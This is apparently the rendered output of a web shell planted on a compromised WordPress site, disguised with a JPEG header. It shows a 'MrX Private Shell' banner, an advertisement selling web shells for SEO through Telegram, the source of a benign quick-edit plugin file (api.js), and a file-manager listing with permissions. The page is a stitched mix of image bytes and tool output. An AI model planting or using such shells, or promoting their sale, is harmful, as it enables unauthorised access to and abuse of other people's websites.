����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
const data = () => window.extQuickEditData || {};
export const post = async (path, body) => {
const { restRoot, nonce } = data();
const res = await fetch(`${restRoot}${path}`, {
method: 'POST',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': nonce,
},
body: JSON.stringify(body),
});
const json = await res.json().catch(() => ({}));
if (!res.ok) {
const err = new Error(json?.message || json?.error || `HTTP ${res.status}`);
err.status = res.status;
err.body = json;
throw err;
}
return json;
};
// The REST save request isn't language-scoped the way the page render is, so
// forward the context detected at enqueue. The server refuses text-bearing
// saves when it says translated — failing the corruption path closed even when
// no fingerprint is sent — and ignores it for image / non-text saves.
export const save = (payload) =>
post('/quick-edit/save', {
...payload,
translatedContext: data().translatedContext ?? null,
});
export const get = async (path) => {
const { restRoot, nonce } = data();
const res = await fetch(`${restRoot}${path}`, {
method: 'GET',
credentials: 'same-origin',
headers: { 'X-WP-Nonce': nonce },
});
const json = await res.json().catch(() => ({}));
if (!res.ok) {
const err = new Error(json?.message || json?.error || `HTTP ${res.status}`);
err.status = res.status;
err.body = json;
throw err;
}
return json;
};
// Identity (title/tagline/logo) lives in wp_options, not post_content,
// so it bypasses save().
export const saveSiteIdentity = (payload) =>
post('/quick-edit/site-identity', payload);
export const loadSiteIdentity = () => get('/quick-edit/site-identity');
export const loadProduct = (productId) =>
get(`/quick-edit/product?product_id=${encodeURIComponent(productId)}`);
export const saveProduct = ({ productId, field, value }) =>
post('/quick-edit/product', { product_id: productId, field, value });
// Ref-based nav items live in a separate wp_navigation CPT, out of reach
// of /quick-edit/save's findBlock walk.
export const saveWpNavigationItem = ({
navPostId,
itemIndex,
blockType,
patches,
fingerprint,
}) =>
post('/quick-edit/wp-navigation', {
navPostId,
itemIndex,
blockType,
patches,
fingerprint,
});
export const loadWpFormsField = ({ formId, fieldId }) =>
get(
`/quick-edit/wpforms?form_id=${encodeURIComponent(formId)}` +
`&field_id=${encodeURIComponent(fieldId)}`,
);
export const saveWpFormsField = ({ formId, fieldId, changes }) =>
post('/quick-edit/wpforms', {
form_id: formId,
field_id: fieldId,
changes,
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin-bar.js | File | 1.45 KB | 0644 |
|
| agent-block-descriptor.js | File | 1.35 KB | 0644 |
|
| agent-gate.js | File | 768 B | 0644 |
|
| api.js | File | 2.56 KB | 0644 |
|
| ask-ai.js | File | 4.6 KB | 0644 |
|
| block-source-cache.js | File | 1.95 KB | 0644 |
|
| click-rule.js | File | 6.2 KB | 0644 |
|
| cmd-enter-save.js | File | 482 B | 0644 |
|
| dom.js | File | 10.98 KB | 0644 |
|
| errors.js | File | 681 B | 0644 |
|
| escape-rule.js | File | 1.51 KB | 0644 |
|
| fingerprint.js | File | 1.91 KB | 0644 |
|
| global-escape.js | File | 1.79 KB | 0644 |
|
| hover-bar.js | File | 27.75 KB | 0644 |
|
| keyboard-entry.js | File | 6.26 KB | 0644 |
|
| keyboard-undo.js | File | 2.39 KB | 0644 |
|
| link-suggestions.js | File | 790 B | 0644 |
|
| modal-root.js | File | 1.39 KB | 0644 |
|
| quick-edit-handlers.js | File | 1.02 KB | 0644 |
|
| rich-text-color.js | File | 8.11 KB | 0644 |
|
| save-bridge.js | File | 1.2 KB | 0644 |
|
| translated.js | File | 1.81 KB | 0644 |
|